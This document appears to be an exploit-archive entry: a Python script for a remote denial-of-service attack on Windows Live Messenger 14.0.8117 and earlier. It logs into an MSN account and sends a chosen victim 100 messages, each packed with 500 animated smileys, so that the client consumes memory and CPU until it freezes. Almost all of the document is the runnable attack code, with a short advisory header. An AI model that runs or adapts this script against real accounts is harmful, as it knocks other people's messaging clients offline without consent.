Microsoft Windows Live Messenger 14.0.8117 - Animation Remote Denial of Service

# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service
# Date: 11/08/2010
# Author: TheLeader
# Email: gsog2009 [a7] hotmail [d0t] com
# Software Link: http://explore.live.com/windows-live-messenger
# Version: 14.0.8117 and prior
# Tested on: Windows 7 x86

# msnlib required: http://blitiri.com.ar/p/msnlib/
# Greets: forums.hacking.org.il - <3UGUYS
# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for
#              the msnlib library / Original msnbot example (that I modded =] )

# Description:
# Windows Live Messenger is prone to a Denial of Service attack. By sending
# specially crafted messages that contain a large number of animations ("Smileys"),
# it is possible to make WLM consume large amounts of memory and CPU while 
# it attempts to render the animated images, causing it to stop responding.

import sys
import time
import select
import socket
import thread
import msnlib
import msncb

payload = ":'(" * 500

m = msnlib.msnd()
m.cb = msncb.cb()

def do_work():
	time.sleep(15)
	
	for i in range(100):
		print m.sendmsg(victim, payload)
	
	time.sleep(30)
	quit()


try:
	m.email = sys.argv[1]
	m.pwd = sys.argv[2]
	victim = sys.argv[3]
except:
	print "Usage: msnkeep.py account password victim_account"
	sys.exit(1)

m.login()
m.sync()

m.change_status("online")

def quit():
	try:
		m.disconnect()
	except:
		pass
	sys.exit(0)

thread.start_new_thread(do_work, ())

while 1:
	t = m.pollable()
	infd = t[0]
	outfd = t[1]

	try:
		fds = select.select(infd, outfd, [], 0)
	except:
		quit()
	
	for i in fds[0] + fds[1]:
		try:
			m.read(i)
		except ('SocketError', socket.error), err:
			if i != m:
				m.close(i)
			else:
				quit()

	time.sleep(0.01)